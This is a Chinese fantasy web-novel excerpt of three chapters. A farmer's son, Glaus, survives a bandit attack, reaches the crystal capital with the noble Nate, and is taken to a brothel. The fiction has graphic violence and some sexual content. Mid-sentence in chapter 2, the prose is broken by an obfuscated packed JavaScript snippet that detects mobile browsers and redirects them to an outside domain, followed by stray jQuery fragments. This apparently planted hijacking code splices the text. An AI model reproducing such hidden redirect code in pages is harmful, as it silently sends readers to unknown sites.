《暗堡》 1. 01-皇帝硬币 卡克奇克大陆是由人类和另外七个种族组成的幻想大陆。每个种族中,存在可以使用纹章力量的个体。所有种族中最强的纹章持有者,被称为【世界之王】。 卡克奇克大陆-人类康斯坦丁王国-亚斯提都郊外 水晶城亚斯提都,至高无上的人类王国的首都,自两百年前人类战胜龙族,登顶八族之首开始,至今吸引着来自大陆各个角落的人趋之若鹜。 此刻,在通往亚斯提都的道路上,一辆辆马车正飞驰着,激起阵阵尘土。这些属于达官显贵的载具,由两匹以上的高头大马拉乘,通常只要几天就能到达首都。 而离道路几十米外的小路上,一行人正在缓慢地行走着。他们大多是农民,每天走十几公里,只是为了在亚斯提都谋一个生计。 在这群人中,可以称得上带队的是一位四十岁出头的男子,杰德,不久前种的粮食被袭击的魔兽烧个干净,老婆也病死了——如果不想因为交不上税而被砍头,他只能冒险来亚斯提都谋生意。他的手里是一卷破地图,如果没有走错,他们再有一天的时间就能走到亚斯提都了。 此刻,天色渐暗,道路上的车马已经变得稀少,这一行人避开主路,在树林的遮掩下找到一处比较干燥的林地,开始休息。 但是,此刻杰德的心中却充满不安。他们这一路行来,魔兽已经遇到了两三波。而最让他担心的,却是“强盗”。那是一群肆虐在帝都周围的山贼,尽管不止一次皇帝派人清剿,却都让他们逃掉了。有传言,这伙山贼能够肆虐至今,是因为他们有“奇异的能力”。 “我们不该停下来,”他喃喃自语,“我们今晚就该一直走,直到走到亚斯提都……” 月上中天,树林人影绰绰,杰德突然感觉一阵心慌。他摸索着腰间的短刀,发现篝火不知何时已经熄灭了。他摇摇晃晃的站起身,做势起夜,然后走到负责值夜的人旁边。 “嘿,今晚剩下的时间我来吧。”杰德低声说,但是对方却垂着头,没有说话。杰德心中警铃大作,他猛地摇晃那人的肩膀,只看见对方的脑袋诡异的摆动起来,下一秒,便像个皮球咕噜噜地滚落到地上,只剩半截身子还立在杰德手里。杰德被眼前的景象骇得说不出话来,突然,他感觉身后寒风袭来,他连忙拔出腰间的短刀,“叮”的一声,金属碰撞在一起,发出尖锐的鸣叫。 一个高大的人影立在杰德后前,他的浑身上下裹在黑色的袍子里,只露出一对猩红色的眼睛。当他开口说话时,杰德可以闻见一阵难闻的臭气。 “可以啊,老头,反应够快?”盗贼桀桀地说,他的长刀在手里颠来颠去,反射着月亮惨白的光。而十几道黑影也从树林的黑暗中走出来,各个手拿武器,一个妇女尖叫起来,她们已经被刚才的声音惊醒了,此刻看见自己被山贼团团围住,不觉惊叫出声。队伍里有工具的人拿着锤子和铁叉站在外围,但是也不过四五人而已。 杰德握着刀,沉住气,问到:“我们不过是要去往亚斯提都,无意叨扰各位老爷。老爷们要多少钱?我们带的虽然不多,但是也希望能通融一下……” 那领头的山贼没有接话,他的眼球在人群中转了一下,已经知道他们行人各身上能有多少钱,然后扯下面罩,露出一口烂黄的牙齿来:“大爷我蹲在这附近,一个多星期没开张啦!想活命的话,我要你们那几辆车上的货物,五十金币,还有拴在树上的那匹畜牲。” 这人如此狮子大开口,人群一阵骚动。这几辆拖车装的都是各自的全部家当,都是未来他们在亚斯提都谋生的工具,此刻叫山贼拿走了,以后只能死路一条。五十金币更是天方夜谭,杰德耕作了大半辈子,也才十几枚金币而已。可是那群山贼面露凶光,他们不过是手无寸铁的平民,杰德忍气吞声,和大伙商量一下,争取凑五十枚金币出来。 一个铁匠不愿意把自己的拖车任由那些山贼拉走,死死抱着自己的车,那领头的人走过去,一刀从他的脖颈砍下,那个铁匠当场毙命。有的妇人已经哭了起来,十几个人加在一起,也仅凑出三十枚金币。杰德握着这些来之不易的钱币,领头的山贼走过来,一把抢走。 他掂量着这些金币,露出不满的神色:“什么嘛,不是说五十枚金币吗?你们敢跟我打折扣?” “大老爷,我们都是穷人,再掏钱,没有办法吃饭了……求您通融通融——” 那领头的山贼取出一枚金币,在嘴里上下叼着,杰德可以看见黑红色的污物粘在他的牙上。他摆摆手,示意这些人往外走出去,杰德正松了一口气,要从他身边走过,他又扭过头来,指着一位妇女说:“但是,所有的女人都要留下!” 十几位劫匪冲过来,掐住几位妇女,就往人群外拉扯。人群一阵骚动,其中一位女子体力不支,被扽倒在地上。她的孩子被一个盗贼抢走,那女子凄惨的尖叫一声,昏死过去,又有几个人要来把她拖走。剩下几个成年男子犹犹豫豫地拿着武器,不知道该不该反抗。 就在其中一个劫匪的手要碰到那女子时,只听“铮”的一声,一个青年拔刀出鞘,挥刀下砍,那人的手臂顿时被砍成两截。劫匪痛得大叫一声,而青年动作不停,立刻上步跟上,一刀干脆利落的从下往上,把劫匪的脸划成两半。 “收了钱还不够,真是欺人太甚!”青年叫道,“有种就朝我来!” 又有几个山贼朝青年冲来,青年此刻怒火冲天,毫不畏惧,先侧身闪过最前两人的攻击,又一刀砍在后者的脑袋上。对方顿时脑浆迸裂,而青年一只手擒住尸体的肩膀,掷向下一个山贼,然后另一刀刺向最后一人的心脏。见青年率先反抗,剩下的几个人也发起狠来,跟着和山贼厮杀起来。 杰德还在犹豫,而贼首已经把他抛到一边,挥开旁人,独自走到青年面前。青年身材瘦小,被团团围住,却浑然不惧。匪首一脚踢开地上的尸块,居高临下地问道: “喂,你小子,叫什么名字?” 青年擦了一把脸,他的相貌端正,只是身板略显单薄,显然还在抽条中。他一手握刀,一手指着匪首,眼神明亮锐利,枫色的短发飒飒作响。 “我叫格劳斯·耶格尔,”他说,“你们这些以多欺少的恶徒,总有一天死无葬身之地!” 首领好像听到什么笑话般大笑起来,他参差不齐的牙齿像血淋淋的锯口,然后他拱起肩膀,冷笑道:“遇到我棱背龟算你倒霉。我会让你后悔活在世上,格劳斯!” 格劳斯挥刀砍向棱背龟,而对方不慌不忙,甚至赤手空拳。杰德趴在地上,冷汗不断的流下来。格劳斯是中途加入这个队伍的青年,他并不清楚对方的底细。他的动作凌厉阔绰,显然受过不少训练,但是棱背龟更危险,他战斗的次数更多,也狡猾得多…… 棱背龟的指甲又尖又硬,只是闲庭信步般地挥舞,格劳斯便不能进攻上前。而就在这时,棱背龟的手臂陡然伸长一截,格劳斯躲闪不及时,手臂已经被抓出几道血痕。而对方的另一只手又已经抓了过来。格劳斯顾不得吃惊,他急忙抬刀格挡,铛的一声,棱背龟的手指毫发无伤,格劳斯竟被震的后退几步,几乎保持不了平衡。 这……怎么可能?格劳斯看着棱背龟,好像在看向一个非人的生物。棱背龟咯咯冷笑起来,似乎看出了格劳斯的难以置信,他索性伸出右臂,示意格劳斯砍过来。格劳斯咬紧牙关,他握住长刀,从上往下全力一砍,只听刺耳的喀拉一声,精钢的刀刃竟然翻卷,而棱背龟反手一握,格劳斯感觉手中一股大力传来,长刀脱手,那把刀被对方捏成两段。随后,棱背龟一拳捶向格劳斯,将他轰飞至树干上,格劳斯感觉五脏六腑都搅成一团,差点干呕出来。 缠在棱背龟身上的黑色布条散开了,伴随着骨骼生长的扭曲声,格劳斯看见眼前本就高大的人影进一步膨胀起来,他身上发黄的皮肤被拉长,皮下的骨头像各个角度延伸,好像一副坚硬的盔甲从他的皮肤下长出来。棱背龟的嘴角向耳侧咧开,露出如刃的牙齿,那是人类吗?那是野兽吗? “桀——桀——,格劳斯,我要把你一片一片吃掉!”棱背龟叫道,眼前的青年不可置信、毫无还手之力的样子更令他亢奋不已,“没人是我的对手,那些软脚虾的骑兵也是,总有一天大爷我要——” 棱背龟的声音突然戛然而止,因为此刻,他看见一高一矮两个人影正站在主干道路旁边,安静地看着他们,不知从何时开始、又不知站了多久。两人的面庞都被遮在长袍里,质地不菲的绸缎缝制着繁复华丽的花纹,明明没有任何动作,却看起来与周围的环境极不相符。 “桀——,你们两个是哪来的?”棱背龟不太高兴地问道,“如果不想缺条胳膊,就各交一百金币——” 矮个子的黑影没说话,高个子的另一人却开口了:“怎么,现在看人打架都不行吗?还是我太久没回亚斯提都了,连一个‘兽纹章’都敢跑出来称大王了?” 听到对方提到‘兽纹章’,棱背龟的表情变了一下,但是他又很快冷静下来,转向这个人影方向。“难道是——同道中人?不知道你们是什么纹章?” 高个子的身影却笑起来:“哈哈!你是什么身份,也配知道我的能力?本大爷在这等了半天,本想看看你们玩女人的场景,结果等了半天,却连个没有能力的青年都打不过!” 棱背龟听了,额头青筋暴跳,但是不想节外生枝,继续耐着性子说:“看戏——当然可以,只要你们——不出手打扰。我手上,还有生意没有做完……” 而这时,个头稍矮的人影开口了,却是一个苍老又中气十足的声音:“这伙山贼为非作歹已久,铲除他们本就是你的责任之一。” 高个子的人不满的挠挠头发,然后说:“可是老师,好戏才刚刚开始啊?这些人实力这么弱,根本不值得我动手……” 老者苦口婆心道:“同所有可能的敌人切磋也是修行之一。” 黑衣青年于是懒散地叹了口气,他迈了一步,下一刻,格劳斯仿佛眼花似的,他凭空从远处走到了场地中央,棱背龟的面前。棱背龟被对方的目中无人激怒,他怒吼一声,爪子挥向高个子的黑衣青年。 格劳斯吓了一跳,忙提醒道:“小心!” 可是对方不动不摇,任凭棱背龟攻向自己,然后格劳斯感觉眼前一闪,下一秒对方已 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青年再一次和棱背龟厮打在一起,可是格劳斯看的很清楚,并不是棱背龟太慢了,而是另一个人太快了——每一次棱背龟挥爪,他都像逗弄猫咪一般躲开,然后踹向他的下腹——格劳斯很难相信人类能有人有这样强的身体素质。 青年又一脚踹向棱背龟的腹部,对方吃痛一声,这次不再攻击,扭过头去,转身向密林深处逃跑。 青年冲过去,他的手在地上撑了一下,身体就像一个摆动的大风车,长腿横扫过去,一瞬间就将棱背龟扫到地上。 砰!伴随着沉重的一声,棱背龟摔倒在地,青年跨步跟上,双腿绞住对方的脑袋。电光火石之间,棱背龟拔出匕首,而青年已经转动了双腿——下一刻,只听咔擦一声,对方的脖子折断。棱背龟那张不可一世的脸埋进土里。 青年从尸体上站起来,拍拍身上的尘土,另一个披斗篷的人影缓步飘到他的身边。山匪见首领毙命,顿时作鸟兽散,往密林中逃命。而那矮个子老者仅仅是抬起手,做握拳状——下一秒,格劳斯听见令人牙酸的咯咯声从树林中传来。他听见痛苦至极的惨叫声,可是不多时,便再也没有任何人的声音。 他看着眼前的两人,这场本可以终结他生命的风暴却被两人轻易地化解,不知道他们又要如何打算,他不禁紧张的咽了一口水。 “看来乌龟的脑袋不是最硬的。”青年说。 “你最后的动作太过冒进,有可能被他刺伤。” “他那个速度不可能伤到我的。”青年争辩道。 “任何时候,都不应当掉以轻心。”老者叹了口气,“你的父亲一直希望你更加克己。走吧,我们该回亚斯提都了。” 见一高一矮两人准备离开,格劳斯壮着胆子叫道: “等等,请问,你们是要前往亚斯提都吗?” 高个子的青年停下脚步,转过身来。“嗯,是啊。干嘛?” 格劳斯忙把杰德搀扶起来,然后问到:“我们也是要去那里。请问我们可不可以同路?” 青年打量了一下周围,满地尸体、有的人还在昏迷中,有的人不知道随着刚才的骚乱跑到哪里。他说到:“就凭你们?从这里到帝都,还有五十里呢。” “呃,是的,我知道……”格劳斯讪讪的说,他捡起刚刚散落在地上的带血的金币,捧到青年面前:“这是我全部的钱,可以请你护送我们大家到亚斯提都吗?我们都受伤了,哪怕一小段路也可以。” 青年看着格劳斯祈求的眼睛,拿起最上面的一枚金币,叮地一声掷了出去。 “你为什么要去帝都呢,格劳斯?” 闻言,格劳斯微微挺起胸膛,颇为期冀地说:“我要参军,去那里出人头地!” 好像听了什么不得了的事情一样,青年前仰后合的大笑起来: “哈哈,是吗?你的愿望是,出人头地吗?就凭现在的你,连纹章都没有、身无分文、要走五十里才能到亚斯提都的流浪汉?” 老者突然开口阻止道:“等等,这些平民不配知道你的纹章。” 青年摇摇头,他摘下兜帽,露出月光般的银色头发和蜜色的皮肤。他的手指修长,五官俊美,细节处又不失柔和,眼瞳像覆着薄荷金。 叮地一声,金币落下,露出朝上的国王的脸。 “就一次,老师,拜托您别告诉父亲。”青年说。 青年把那枚皇帝硬币收进口袋,然后张开手臂。格劳斯感觉到脚下的大地微微震动起来,随后,一圈圈银色的花纹从大地缝隙的阴影中浮现,它们仿佛有生命力般生长着,从脚开始往上,蔓延上自己的躯体,四肢,脸颊。他看着眼前的青年,他的身体轮廓笼罩着淡淡的月光,那些银色的花纹好像盛开在他的身上。 他下意识地问道:“你的名字,你叫什么名字?” 青年傲慢地、不可一世地笑起来:“我是内特·梅菲杰拉德。不要辜负你今天许诺的愿望,格劳斯。”而下一秒,他们所有人的身躯消失在那片银色的,宛如神迹般的光芒中。 2. 02-面圣 “我是内特·梅菲杰拉德。”青年用傲慢而不可一世的声音说,“姑且载你一程吧,下等民,只有你的野心稍微有点看头。” 大概有数十秒,格劳斯失去了意识,也失去了对周围的感知能力。当他重新从那片恍如奇迹的银色光芒中回过神来时,他的面前不再是一望无际的密林或者黄沙漫天的土路,而是一座极为宏伟的城市。赤甲的卫士守卫着它的门帷,高耸的城墙漆黑威严,而透过那敞开的正门,格劳斯可以看见不远处一片高大的水晶般的城堡建筑,仿佛上了釉一般在日出的晨光里熠熠生辉。 他不曾想到,有一天自己竟然真的到达了,绰号水晶之城的人类都市,亚斯提都。他踏破铁鞋才能到达的梦想之地,却在遇到内特后转瞬之间实现了。 在亚斯提都外,成千上万的人还在排队进城,持有通行证的富商进城时,只要给卫士展示一下他们的许可证,便能畅通无阻;另一次平民百姓通过时,却无一例外要交不少的税费,再被层层盘问才能进入。许多人跋山涉水来到亚斯提都,却因交不出高昂的路费而被拒之门外,因此失意和绝望在这里也随处可见。格劳斯不知道自己身上的这点钱够不够进城,正在心中打鼓,他前面的内特已经走到守卫面前,出示了自己胸口的挂坠。下一秒,所有守卫便极为的恭敬让开道路了。一位头盔上雕刻着羽毛花纹的高大男子快步走到他们面前,恭敬地行了一礼:“原来是梅菲杰拉德家的少主!需要我告知您的父亲您归来的消息吗?” 内特不在意的摇摇头:“还不用,我想自己先走走,反正他也肯定知道我已经到了。” 那军官试探的往内特身后看了一眼,“他们也是跟公子同路的吗?” 内特瞥了一眼格劳斯等人一眼,不置可否的点点头。于是那位军官不再说话,他再次行了一礼,然后示意所有人放行。 格劳斯几乎是目瞪口呆地看着这一切,然后机械地挪动自己的脚步,直到真的穿过亚斯提都的城门,踏上这片最富饶繁华城市的土地,他才恍惚过来自己并不是在做梦。 在亚斯提都,穿着长裙与正装的男女在道路上行走,车道宽敞的可以让两辆马车并行,四处可以听见小贩叫卖的声音。格劳斯一边惊叹不已的看着,同时也注意到大多数人的衣服也很破旧了,除了大路,房子之间的小巷则阴暗不已。 他们这一行人在进城后就基本作鸟兽散,格劳斯想着自己在分别前,向内特说句再见比较好,却没想到内特突然回头问到: “你接下来准备去哪里,格劳斯?” 格劳斯坦然道:“我准备去军营,试试参军。” 内特指了一下方向,“顺着西大道走到头,一栋正对着道路的白房子就是。” 格劳斯还来不及说完感谢的话,内特便摆摆手,和那位披着黑袍的老者往皇宫的方向走去了。 格劳斯注视着他们离去的方向,在心中好奇内特究竟是怎样的人物,他看起来不过二十多岁,却知道那么多事,武技也远超常人。还有他曾提到的“纹章”,格劳斯准备之后也打听一下那是什么东西。 按照内特指的方向,格劳斯顺利找到了对方提到的白色的房子。但是走到门口,格劳斯却怀疑自己是不是找对了地方:白房子的正门紧锁着,上面也落了不少灰尘。格劳斯敲了敲门,却无人应答。 “你找谁,小伙子?”一个粗旷的声音在耳边响起,格劳斯扭过头,看见一个头发发白的老者坐在街旁的椅子上,嘴里叼着烟斗,就是他刚刚向自己搭话的。 “我来参军,老爷爷。”格劳斯说,“您知道我该怎么走吗?” “你来晚啦!”老头摆摆手,“窗口期一个多月前就关了。现在帝国西线一直在打仗,报名的人简直供不应求,哪里养得起这么多人?” “啊?老爷爷,我走了一个多月,今天才到这里……”格劳斯慌忙地说,“您知道还有什么加入军队的方法吗?或者他们哪里还在招人吗?我什么都能干,也不挑剔环境的!” 老头又抬头打量了格劳斯一眼,然后摇摇头:“那得跟那些军队的大人物说才行了。现在皇帝陛下要召开议会,你肯定找不到人了。” 见格劳斯面露沮丧之色,老头问到:“是谁让你来这的?” 格劳斯想了想,觉得内特既然有那么高的声望,那么告诉这个老人他的身份应该也无伤大雅。于是格劳斯老老实实道: “是内特·梅菲杰拉德指点我来的。” 老头好像一下子被烟斗里的烟呛到了,他奋力地咳嗽起来,脸都涨红了,格劳斯忙上前帮老者抚了好几次后背,才让对方缓过神来。老头慢慢放下手里的烟枪,这次好像终于正视了格劳斯:他好像在看什么让人不爽的东西,眉毛拧在一起,皱了好一会,久到让格劳斯甚至有些背后发毛,觉得自己是否说错话了,才再次开口道: “贝特兰德治安官以前和我很熟,他那里正在招人。如果你有本事,可以去那里碰碰运气。” 他拿出一张皱皱巴巴的纸,在上面写了一个地址,然后递给格劳斯: “你去的时候,就告诉他是纳什推荐你来的。” 格劳斯接过纸条,千恩万谢的鞠躬,正要离开,突然想起来一件事: “老爷爷,您知道‘纹章’是什么吗?” 老头看了他一眼,又把烟斗叼回嘴里:“我哪知道?去问告诉你这个词的人呗。” 格劳斯再一次谢过老人,当他重新走上亚斯提都的大道,几声悠远的钟鸣突然从水晶城中心的教堂传来。钟声古老厚重,犹如万千天使齐颂。格劳斯忍不住驻足聆听,一边在心中思索,不知道内特现在在哪里?不知道他有没有听到这个钟声? “现在不是走神的时刻,内特。”老人说,“你最好想清楚待会说什么。” “噢,抱歉,老师。”内特收回出神的目光,此刻他正行走在水晶城王宫的正殿走廊里,头顶的水晶穹幕上,万千枝圣母花轮折射着绚丽的光,随着钟声而闪动着。 走廊尽头的巨门打开了,内特踏过血色长毯,余光可见其余三大家族的族长,参议众臣,靠近王座旁站着十位戴着红色羽毛头冠的首席近卫,以及高坐在那黄金与龙骨铸成的王座上的人,人类王国的君主,有史以来战功最为显赫的帝皇,康斯坦丁。 康斯坦丁家族自诩最接近神的家族,他们的族徽便是伸展着金色翅膀的六翼天使;而最高级的军官和侍卫,则戴着羽毛符号的头冠,寓意皇帝的羽翼。 男人戴着黑铁为底,红宝石点缀,黄金勾勒的皇冠,两侧同样刻画着天使羽毛的纹样,穿纯白典雅的长袍。但是,若不是此刻是在王宫里,男人确实端坐在王座上,内特甚至觉得对方已不能称得上为“人类”。 人类的国王,曾经的征服者,此刻更像一具阴沉的,有些可怖的尸体。他的头发大多掉光了,只剩几缕黄色的枯发粘在上面,搭在王座上的手更像干瘦的骨架;他的眼球早已浑浊不堪,脸颊苍白毫无血色,只有在宰相附身在他耳边说话时,他才微微侧过头,好像还活着。 他的左手边,侧立着这个国家的宰相,他着赭红色外衣,扶着象牙手杖站立,胸前佩戴银制族徽。男人的红发整齐的梳到脑后,虽然年过四十,容貌依然不失英俊风度,眼睛甚至有些孩子气。 看到内特,男人微笑了一下,俯下身子,贴着皇帝的耳朵说: “陛下,我的儿子,还有塞福涅学士来了。” 闻言,皇帝微微抬起头:“我的儿子来了?庞贝,还是西利乌斯?他在哪里?” “陛下,”宰相带着笑意的声音略显无奈地说,“不是您的儿子,是我的儿子,内特·梅菲杰拉德呀。皇子庞贝正按您的要求,在西线对魔族作战,您忘记了?” “不是我的儿子,不是我的儿子。”皇帝喃喃自语道,“内特来这里做什么?” 宰相的目光看向内特,内特低下头,他的双手在空间中交叉一下,随后仿佛凭空开门般,拿出三枚还在发光的,造型奇异的石头: 第一枚如晶莹剔透的宝石,透露着丝丝粉红色的纹路;第二枚却若隐若现,好像一片没有形体的影子;第三枚外表朴素,却让人感觉极为不祥,好像岩石在往外微微渗透着血液。 “我跟随塞福涅学士完成了周游王国的旅程,并带来了可以为您所用的纹章。” 内特拨动着几枚石头, “莲花刚玉的‘石纹章’,潜匿于黑暗的‘影纹章’,歌颂死亡的‘血纹章’。” 国王摇摇头:“刚玉易碎,黑暗懦弱。我为什么需要它们?” 宰相笑着接话道:“您的纹章当然已经不需要它们;但是您的‘天使’会需要啊。” 内特并不知道天使是什么;但是他猜测,那些皇帝直属的秘密部队,或许就是父亲所说的“天使”。 国王好像恍然大悟,又好像只是复述的说道:“是的。我的天使,我的天使们需要它。” 他看向内特:“你的儿子给我带来了纹章,我应当奖励还是惩罚他?” “内特完成了他的工作,与大学士的引领分不开关系。”宰相说,“以塞福涅学士的名义,在圣山学院成立新的文学社和颂诗班。授予塞福涅学士终身大学士称号,允许他研究天体以内任何感兴趣的项目吧。” 闻言,塞福涅颇为震惊的抬起头:“陛下,教书育人只是我的本职工作,这些荣誉太过丰厚,我不配享受。” 康斯坦丁抬了抬眉毛,阻止了塞福涅的推脱。“塞福涅学士,你当结束作为内特教师的工作。授予你的嘉奖正如宰相所言。你将在圣山学院拥有自己的雕塑,独立研究的项目,和以你的名字命名的学社。” 见此,塞福涅深深鞠了一躬,不再言语。皇帝的目光又转向内特: “你需要什么?” 内特坦然道:“为陛下分忧解难是臣子的分内之事。我只希望继续追随陛下学习。” 宰相说:“犬子学术不精,希望跟随帝国之盾,为帝国效力。” 康斯坦丁侧过头,对那一直站在阴影里的男人说道: “海森堡将军,你有意引领他吗?” 内特有些紧张地抬起头。那位总是站在皇帝身后,一直注视,却从来不发一言的帝国大将军,威斯汀· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502491|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海森堡,第一次走到皇帝面前。 海森堡本人比内特预想的更高大、更威严,他着白色披风,双手交叉在胸前,站在那里,却仿佛有雷霆万钧之重。他的头发已经有些白,灰色的眼睛却冰冷锐利。海森堡站在内特面前,就像一片巨影笼罩住他。 海森堡说:“我之家族从未收过外人,但是我会给他一个机会。” 随后内特意识到,海森堡并不是在注视着皇帝。他看向的是自己的父亲,赖兹瑙·梅菲杰拉德。父亲微笑着说: “内特是一个好学生,向来讨老师喜欢。” 海森堡毫无波动的答道:“希望如此。” 国王笑了起来,好像解决了很困扰的事情似的,将双手叠在一起。突然,他开始咳嗽,苍白的脸色血液上涌,重新发红,双手哆嗦起来,抓住赖兹瑙的衣袖,开口说道: “饿了……我饿了,赖兹瑙……食物,给我食物……” 赖兹瑙耐心地握住皇帝枯瘦的手指,温和地低语道:“当然,陛下。食物早已经准备好了,三十个,够不够?——” 当内特重新走出水晶王宫时,太阳已经从朝阳挪到傍晚,即将从西方落下去了。塞福涅学士在会面结束后就前往圣山学院,他已经得到了终身荣誉教授职位,可以翻阅藏书馆的所有书籍,此刻他已经将全部心思投入到新的项目中了;海森堡将军会后还有军务处理,只是托副官告知,要自己明天去将军府一趟。 内特并没有别的安排,他已经在正殿外的走廊里站了一整天,他此次游学,离开家整整一年,可是直到现在,他的父亲,王国宰相、帝国之眼,赖兹瑙·梅菲杰拉德,依然一次都没有来看他。 “毕竟爸爸的工作很忙嘛!”内特在心里想,揉了揉站得有些发麻的腿,知道今天应该也见不到父亲了。接着他深呼吸几口气,独自从王宫里走出去。 他还不想回家,反正父亲不在家里,家里也没有有趣的东西。内特刚结束游历的生活,对回归日常的生活还不太习惯,索性在亚斯提都转一圈,看看有没有乐子。内特正要往自己平常寻欢作乐的街道走,突然看见一个有些瘦削的身影,注视着橱窗里摆放的商品,橘色的街灯落在他枫色的头发上,会让人想起秋天的森林。 “格劳斯?”内特问道,“是你吗?” 青年转过身,看见是内特,立刻双眼放光,露出极为喜悦的神情:“内特!没想到还能再见到你!” 内特笑了一下:“我也住在这里,怎么可能见不到我呢?” 格劳斯高兴地说:“多亏了你,我现在才能找到工作!这样我不愁没地方住啦。” “噢?你现在是军人了?” 格劳斯不太好意思地挠挠头,“算是吧。我现在是新成立的治安小组一员,负责解决居民生活的各种问题。” 内特不以为然地哼了一声。 “这可不是什么出人头地的工作。” 对于内特的讥讽,格劳斯依然兴高采烈,又或许与内特重逢这件事本身就让他足够开心:“万事开头难嘛!至少有了留在这里的机会,我就很感激啦!多谢你啦,内特,你想去哪里吃饭?我请你……” 看着内特居高临下的样子,格劳斯突然想起来,像对方锦衣玉食的样子,自己那点钱哪里能买得起他喜欢的食物?只怕最后还要内特付款。看着格劳斯渐渐低落下去的样子,内特笑了一下,突然玩心大发: “喂,格劳斯,你今年多大?” “呃?我十八岁……” “差不多了。我带你红房子玩吧?” “红房子是哪里?” 内特瞅了他一眼:“问那么多干什么,你不是想感谢我吗?” 语毕,他不再看格劳斯,大步往另一个方向走去。走了几步,就听见格劳斯跌跌撞撞地跟在自己后面的脚步声。内特依然不回头,反而专门挑一些七扭八歪的小路穿梭,格劳斯原本想记路,也很快就被绕晕了。 突然,内特停下脚步,格劳斯一个趔趄,差点撞到对方身上。 “你跟在我后面呀?”内特故作惊讶地说,“我还以为你不会来呢。” 格劳斯老老实实地说:我答应了你,就肯定会来的。”他的目光越过内特,往他身后的地方瞥了一眼,脸突然蹭的一下就红了。 几个女子正在门口的街道上朝他们招手,她们大多穿着透光的白色丝裙,脸上抹着亮晶晶的唇彩,手臂像白玉的瓷器。她们背后的屋子里传来喧闹的声音,靠近她们附近便能闻到甜腻的香气,吸几口便让人浑身躁动。 “怎么了?快走呀。”内特问道。 “这,这不是妓院吗!!”格劳斯惨叫道,“我是治安官,我来这里不合适吧!” “那又如何?”内特戏谑地问,“你的领导可能都来这光顾过呢!” “当然没来过啊!怎么会来呢!” 内特大笑起来,拍了拍格劳斯的肩膀。格劳斯感觉到,对方紧绷的身体好像终于放松下来。 “哎,怎么回事啊,你会不会是外星人啊?”内特说,“从来没见过你这样的,格劳斯,真搞不懂你……” 3. 03-黑暗中的私语 格劳斯感觉自己好像进入了另一个世界,若不是内特抓着他的手腕,他现在肯定已经不知道自己身处何方了——不,他早就在那烟雾缭绕的香气中迷晕了。 红房子门面很小,通道仅能两人通行,但袅袅不绝的靡靡之音灌入耳朵,混杂着掩盖不下的充满欲望的人声,就让人脸红心跳。格劳斯经过的几乎每一个角落都能看见纠缠在一起的男女,她们大多穿着极少,披头散发,淫靡的声音一阵阵传来,格劳斯早就已经面红耳赤,他的眼睛只是瞟了一下就像被烫到一样收回来,简直不知道该往哪里搁,只能一直盯着自己面前引路的内特,内特银色的头发很长,扎了一个低马尾,在格劳斯面前左右摆动,不时露出颈后蜜色的皮肤。 红房子的内部极大,越往深处走,遇到的人越放荡下流。格劳斯看到一个硕大的露天庭院,中间是一个正在汩汩往外冒水的喷泉,周围种植着奇花异草。格劳斯注意到,这些人虽然大部分是人类,其中也有异色皮肤、生有鳞片和角的魔族,他想,虽然亚斯提都是人类的城邦,但是自然也有其他种族的居民。格劳斯感觉手腕被内特牵着的皮肤越来越烫,几乎要败下阵来: “内特,我们要走到哪里去呀?” 内特没有回答他,他轻车熟路的带着格劳斯在这个迷宫似的地方绕来绕去,然后钻进一个云雾缭绕的房间。几个姑娘看见内特,立刻笑脸盈盈的迎上来:“这不是内特嘛!好久不见,有没有想我们?” 内特笑了笑,把身后的格劳斯拉到面前。 “这是我的朋友,希望你们今晚好好招待他。” 一个抹着淡粉色眼影的姑娘立刻缠上格劳斯的肩膀,另一个留着大波浪金色卷发的姑娘白瓷般的胳膊也搭上格劳斯的手臂。“第一次来呀,小弟弟?”棕发的姑娘问道。 格劳斯已经不愿想挤在他背后的柔软触感是什么了,他觉得自己的脸肯定已经红到滴血,结结巴巴的,一句话都说不出来。只能求助的看向内特: “内特,你也会留在这里的,对吧?” 内特笑着看着被温柔乡团团缠住的格劳斯,比了一个再见的手势:“你不会有被人观看的癖好吧,格劳斯?好好玩,今晚的钱记在我账上。” 格劳斯还想徒劳的抓住内特,但是对方更像恶作剧的溜开了。 看着内特的身影逐渐消失在门外,格劳斯又怕伤着人家,又想把自己从姑娘们的手中抽出来,慌乱地问道:“内特呢?他去哪里了?” “他也要去找乐子啦,小哥。你不如别惦记他,好好放松下来?”那个金发的大姐姐已经从身后揽住格劳斯的腰,金色的头发就像瀑布般洒在格劳斯的身上。 “呃,呃、我觉得,我是说,能不能今天就先,聊聊天——”格劳斯上气不接下气地说,另一个棕发的姑娘已经将手伸向他的裤子,他一边提起自己的腰带,一边负隅顽抗: “你们就一直在这里工作吗?平时吃什么,现在的物价不太划算吧?” 一根浅葱般的手指摁住格劳斯的嘴巴,她们连吐气都带着淡淡的甜香,格劳斯试图屏住呼吸,但是依然觉得眼前的世界越来越模糊。 “你就,什么都不要想,嗯?”那个女孩说,她的手指发力,摁着格劳斯,让他慢慢躺到床上。 “就放下一切,在这里,和我们度过快乐的一夜……”她的声音带着丝丝缱绻,好像猫咪在挠着格劳斯的心脏。格劳斯忍不住放松身体,是啊,他想,我现在真的好累,只是一晚上的话…… 【好痛——好痛——!】 一声声尖叫在格劳斯的耳边突兀的响起。格劳斯猛的一激灵,一下子从团团围绕自己的欲望中清醒过来。 是谁在说话?他坐起身,吃惊的四处找寻,可是除了这三个姑娘,房间里空空如也。 【……他想要杀死我们……他不会再有机会了……这一次,死的会是……他!】 那个诡异刺耳、尖啸般的声音再一次响起,只是那个发声者好像离得更远了,声音也比刚才更加模糊。这次绝不是幻听,格劳斯几乎是汗毛直立,他问到: “你们有没有听到奇怪的声音?” “声音?”粉色唇彩的姑娘说,“你是说音乐声吗?” 这个房间里的所有人都困惑的看着格劳斯,不明白他为什么突然看起来如此不安。她们还想拉着格劳斯继续享乐,但是格劳斯已经彻底警觉起来,完全失去兴致。格劳斯礼貌地摇摇头,几乎是用力的把自己从女人堆中抽出来,来不及整理衣服,便快步走出房门。 